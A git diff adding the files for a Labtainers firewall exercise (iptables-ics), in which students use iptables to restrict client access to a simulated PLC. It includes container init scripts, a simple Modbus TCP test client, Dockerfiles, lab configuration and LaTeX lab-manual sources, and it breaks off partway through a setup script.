a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/treataslocal new file mode 100644 index 000000000..bcf71275b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/nmap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/etc/rc.local new file mode 100755 index 000000000..2b878da44 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/etc/rc.local @@ -0,0 +1,19 @@ +#!/bin/bash +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route del default +route add -net 172.25.0.0/24 gw 172.24.0.4 + +exit 0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/mbtcp-simple.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/mbtcp-simple.py new file mode 100755 index 000000000..49eaf1d32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/mbtcp-simple.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# read_register +# read 10 registers and print result on stdout + +# you can use the tiny modbus server "mbserverd" to test this code +# mbserverd is here: https://github.com/sourceperl/mbserverd + +# the command line modbus client mbtget can also be useful +# mbtget is here: https://github.com/sourceperl/mbtget + +# This code was adapted from the example code for pyModbusTCP +# (https://github.com/sourceperl/pyModbusTCP) +# Specifically, write_bit.py and read_register.py + +from pyModbusTCP.client import ModbusClient +import time + +SERVER_HOST = "172.25.0.3" +#SERVER_HOST = "172.17.0.2" +SERVER_PORT = 502 + +c = ModbusClient() + +# uncomment this line to see debug message +#c.debug(True) + +# define modbus server host, port +c.host(SERVER_HOST) +c.port(SERVER_PORT) + +toggle = True + +while True: + # open or reconnect TCP to server + if not c.is_open(): + if not c.open(): + print("unable to connect to "+SERVER_HOST+":"+str(SERVER_PORT)) + + # if open() is ok, read register (modbus function 0x03) + if c.is_open(): + print("") + print("read 10 holding registers") + print("----------") + print("") + # read 10 registers at address 0, store result in regs list + regs = c.read_holding_registers(0, 10) + # if success display registers + if regs: + print("reg ad #0 to 9: "+str(regs)) + + # if open() is ok, write coils (modbus function 0x01) + if c.is_open(): + # write 4 bits in modbus address 0 to 3 + print("") + print("write bits") + print("----------") + print("") + for addr in range(4): + is_ok = c.write_single_coil(addr, toggle) + if is_ok: + print("bit #" + str(addr) + ": write to " + str(toggle)) + else: + print("bit #" + str(addr) + ": unable to write " + str(toggle)) + time.sleep(0.5) + + time.sleep(1) + + print("") + print("read bits") + print("---------") + print("") + bits = c.read_coils(0, 4) + if bits: + print("bits #0 to 3: "+str(bits)) + else: + print("unable to read") + + toggle = not toggle + + # sleep 2s before next polling + time.sleep(2) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/treataslocal new file mode 100644 index 000000000..bcf71275b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/nmap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/etc/rc.local new file mode 100755 index 000000000..2b878da44 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/etc/rc.local @@ -0,0 +1,19 @@ +#!/bin/bash +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route del default +route add -net 172.25.0.0/24 gw 172.24.0.4 + +exit 0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/mbtcp-simple.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/mbtcp-simple.py new file mode 100755 index 000000000..49eaf1d32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client2/mbtcp-simple.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# read_register +# read 10 registers and print result on stdout + +# you can use the tiny modbus server "mbserverd" to test this code +# mbserverd is here: https://github.com/sourceperl/mbserverd + +# the command line modbus client mbtget can also be useful +# mbtget is here: https://github.com/sourceperl/mbtget + +# This code was adapted from the example code for pyModbusTCP +# (https://github.com/sourceperl/pyModbusTCP) +# Specifically, write_bit.py and read_register.py + +from pyModbusTCP.client import ModbusClient +import time + +SERVER_HOST = "172.25.0.3" +#SERVER_HOST = "172.17.0.2" +SERVER_PORT = 502 + +c = ModbusClient() + +# uncomment this line to see debug message +#c.debug(True) + +# define modbus server host, port +c.host(SERVER_HOST) +c.port(SERVER_PORT) + +toggle = True + +while True: + # open or reconnect TCP to server + if not c.is_open(): + if not c.open(): + print("unable to connect to "+SERVER_HOST+":"+str(SERVER_PORT)) + + # if open() is ok, read register (modbus function 0x03) + if c.is_open(): + print("") + print("read 10 holding registers") + print("----------") + print("") + # read 10 registers at address 0, store result in regs list + regs = c.read_holding_registers(0, 10) + # if success display registers + if regs: + print("reg ad #0 to 9: "+str(regs)) + + # if open() is ok, write coils (modbus function 0x01) + if c.is_open(): + # write 4 bits in modbus address 0 to 3 + print("") + print("write bits") + print("----------") + print("") + for addr in range(4): + is_ok = c.write_single_coil(addr, toggle) + if is_ok: + print("bit #" + str(addr) + ": write to " + str(toggle)) + else: + print("bit #" + str(addr) + ": unable to write " + str(toggle)) + time.sleep(0.5) + + time.sleep(1) + + print("") + print("read bits") + print("---------") + print("") + bits = c.read_coils(0, 4) + if bits: + print("bits #0 to 3: "+str(bits)) + else: + print("unable to read") + + toggle = not toggle + + # sleep 2s before next polling + time.sleep(2) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/about.txt new file mode 100644 index 000000000..cfd7ff800 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/about.txt @@ -0,0 +1 @@ +Use iptables to configure a firewall to limit network traffic in an Operational Technology environment. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/parameter.config new file mode 100644 index 000000000..45c51843e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see the Labtainer Lab Designer User Guide +# +#DIGESTFILE : HASH_REPLACE : server:/home/ubuntu/filetodigest.txt : MY_DIGEST : mydigeststring +CLIENT1_IP : RAND_REPLACE_UNIQUE : start.config : CLIENT1_IP : 10 : 150 +CLIENT2_IP : RAND_REPLACE_UNIQUE : start.config : CLIENT2_IP : 10 : 150 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/start.config new file mode 100644 index 000000000..0bff222e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/config/start.config @@ -0,0 +1,66 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client1 + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED iptables_mike_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK CLIENT_NET + MASK 172.24.0.0/24 + GATEWAY 172.24.0.101 +NETWORK SERVER_NET + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER client1 + # user name of user who interacts with the container. + USER admin + CLIENT_NET 172.24.0.CLIENT1_IP + X11 YES + ADD-HOST plc:172.25.0.3 + TERMINAL_GROUP 1 +CONTAINER client2 + # user name of user who interacts with the container. + USER admin + CLIENT_NET 172.24.0.CLIENT2_IP + X11 YES + ADD-HOST plc:172.25.0.3 + TERMINAL_GROUP 1 +CONTAINER plc + # user name of user who interacts with the container. + USER admin + PASSWORD admin_password + SERVER_NET 172.25.0.3 + #TERMINALS -1 + TERMINALS 0 +CONTAINER firewall + # user name of user who interacts with the container. + USER admin + SERVER_NET 172.25.0.4 + CLIENT_NET 172.24.0.4 + X11 YES + TERMINALS 2 + TERMINAL_GROUP 2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.client1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.client1.student new file mode 100644 index 000000000..e26cf280f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.client1.student @@ -0,0 +1,42 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet wget lynx +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# Need pyModbusTCP to run the Modbus test program +RUN pip install pyModbusTCP + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name + +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar + +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.client2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.client2.student new file mode 100644 index 000000000..468cdc8d2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.client2.student @@ -0,0 +1,43 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet wget lynx +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + + +# Need pyModbusTCP to run the Modbus test program +RUN pip install pyModbusTCP + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name + +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar + +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.firewall.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.firewall.student new file mode 100644 index 000000000..0653e1437 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.firewall.student @@ -0,0 +1,37 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh + +RUN apt-get update && apt-get install -y --no-install-recommends ulogd + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +RUN adduser $user_name wireshark + + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.plc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.plc.student new file mode 100644 index 000000000..03ba5d9c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/dockerfiles/Dockerfile.iptables-ics.plc.student @@ -0,0 +1,39 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnetd +RUN apt-get update && apt-get install -y --no-install-recommends \ + nodejs +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + + +# Need nodejs to start OpenPLC server + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/Makefile new file mode 100644 index 000000000..abdc55f81 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/Makefile @@ -0,0 +1,8 @@ +iptables-ics.pdf: iptables-ics.tex header.tex + latex iptables-ics + pdflatex -jobname=iptables-ics iptables-ics + pdflatex -jobname=iptables-ics iptables-ics + +clean: + rm -fr auto + rm -f iptables-ics.aux iptables-ics.log iptables-ics.pdf iptables-ics.dvi iptables-ics.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/header.tex new file mode 100644 index 000000000..b208b177b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/header.tex @@ -0,0 +1,121 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.jpg new file mode 100644 index 000000000..30ff5fb6e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.odg new file mode 100755 index 000000000..7df109b42 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.tex new file mode 100644 index 000000000..a18820641 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/iptables-ics.tex @@ -0,0 +1,167 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE IPTables for Industrial Control Systems (iptables-ics)} +\vspace{0.1in}\\ +\end{center} + + +\section{Overview} +This Labtainer exercise illustrates the use of iptables +to limit network access to a PLC component in an operational +technology (OT) environment. This control is provided by +a component serving as a firewall, as illustrated in Figure +\ref{fig:topology}. + +When properly configured, the firewall will only allow the following traffic +between the clients and the PLC: +\begin{itemize} +\item Client 1 can only access the PLC via SSH and HTTP (port 8080). +\item Client 2 can only access the PLC via MODBUS TCP and HTTP (ports 80 and 8080). +\end{itemize} + +\subsection {Background} +Industrial control systems often use IP based networks to communicate with +other components. Just as is the case with many information technology (IT) networks, +protection of assets may depend on limiting the types of network traffic +permitted to flow between components. For example, web traffic (e.g., HTTP) +might only be permitted to enter a given component if it originates from specific +sources. + +A variety of different techniques and products exist for the purpose of limiting +IP traffic in IT and OT systems. In this lab, you will limit IP traffic through +use of Linux iptables. +The student is expected to have separately learned about the use of iptables +to selectively block network traffic. The firewall component includes a few +example firewall setting scripts that you can reference. The manpage for iptables can be viewed on the +firewall component using: +\begin{verbatim} + man iptables +\end{verbatim} + +Students are expected to have a basic +familiarity with the Linux command line, and the ability to edit files and +run simple shell scripts. Some experience with Wireshark is presumed, e.g., performance of +the wireshark-intro lab. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer iptables-ics +\end{verbatim} +\noindent A link to this lab manual will be displayed. + + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{iptables-ics.jpg} +\end{center} +\caption{Network topology for the iptables-ics lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Explore} +The Wireshark utility is installed on the firewall. +Use it to view network traffic through the firewall, and to +debug your firewall rules. Start it from the firewall terminal: +\begin{verbatim} +wireshark & +\end{verbatim} +\noindent Then select the eth0 interface. + +On both the client1 and client2 terminals use the following applications +to explore the services offered by PLC: + +\begin{verbatim} + ./mbtcp-simple.py +\end{verbatim} +This starts a simple MODBUS client. Observe the network traffic using +wireshark, making note of the destination TCP port number used by the client when +connecting to the PLC. Then use {\tt } to terminate the program on each client. + +\noindent Start firefox on each client: +\begin{verbatim} + firefox & +\end{verbatim} +\noindent and point the browswer to the following two URLs: +\begin{verbatim} + http://plc:8080 + http://plc +\end{verbatim} +\noindent Observe the traffic in wireshark, making note the +source IP addresses and the destination ports used by the +clients when connecting to the PLC. + +\noindent Finally, use SSH to connect to the PLC from each client: +\begin{verbatim} + ssh plc +\end{verbatim} +\noindent There is no need to login. After observing the initial traffic, +use {\tt } to exit from ssh. + +\subsection{Use iptables to limit traffic} +The iptables utility is installed on the ``firewall'' component. +Use it to prevent the firewall from forwarding any traffic +to the PLC other than specified below. + +\begin{enumerate} +\item Client 1 can only access the PLC via SSH and HTTP +(with port 8080 only). +\item Client 2 can only access the PLC via MODBUS TCP and HTTP +(with ports 8080 and 80). +\item No other network traffic is permitted to reach the PLC +\end{enumerate} + +You may reference and experiment with the example firewall scripts that +are on the firewall component in the home directory. \textbf{NOTE:} The IP addresses in the example +script may not correspond to the IP addresses of your system, and would +therefore need to be changed. To run the {\tt example\_fw.sh} script, use: +\begin{verbatim} + sudo ./example_fw.sh +\end{verbatim} +View the content of the scripts to understand what they do. +Consider putting your iptables commands in a script so it is easy +to test and reconfigure the iptables if you restart the lab. +Note that the last line of {\tt example\_fw.sh} directs iptables +to send log messages to a file that is at: +\begin{verbatim} + /var/log/iptables.log +\end{verbatim} +\noindent If you include that directive in your configuration, you can observe when +iptables drops filtered packets, e.g., by tailing the log from one of the +firewall terminal tabs: +\begin{verbatim} + tail -f /var/log/iptables.log +\end{verbatim} + +After configuring iptables to meet the requirements, use the applications on Client1 and Client2 to +demonstrate that the firewall only allows the desired traffic. +Watch the traffic in wireshark to confirm the TCP handshake fails +when attempting to connect to filtered ports. + +When you believe you have the proper iptables configuration and have tested it, +use the {\tt stoplab} command from your Linux system. You are free to then restart +the lab using {\tt labtainer iptables-ics} and explore further without concern for +the state of the system when you again stop it. Alternately, if the {\tt checkwork} command is +available on your distribution, you can use that command from the Linux system instead of {\tt stoplab}, and then just +continue working. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/read_first.txt new file mode 100644 index 000000000..57eb1e2e3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/iptables-ics.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_bin/fixlocal.sh new file mode 100755 index 000000000..953548380 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/firewall/_bin/fixlocal.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +# use ulogd to generate an iptables log +sudo sed -i 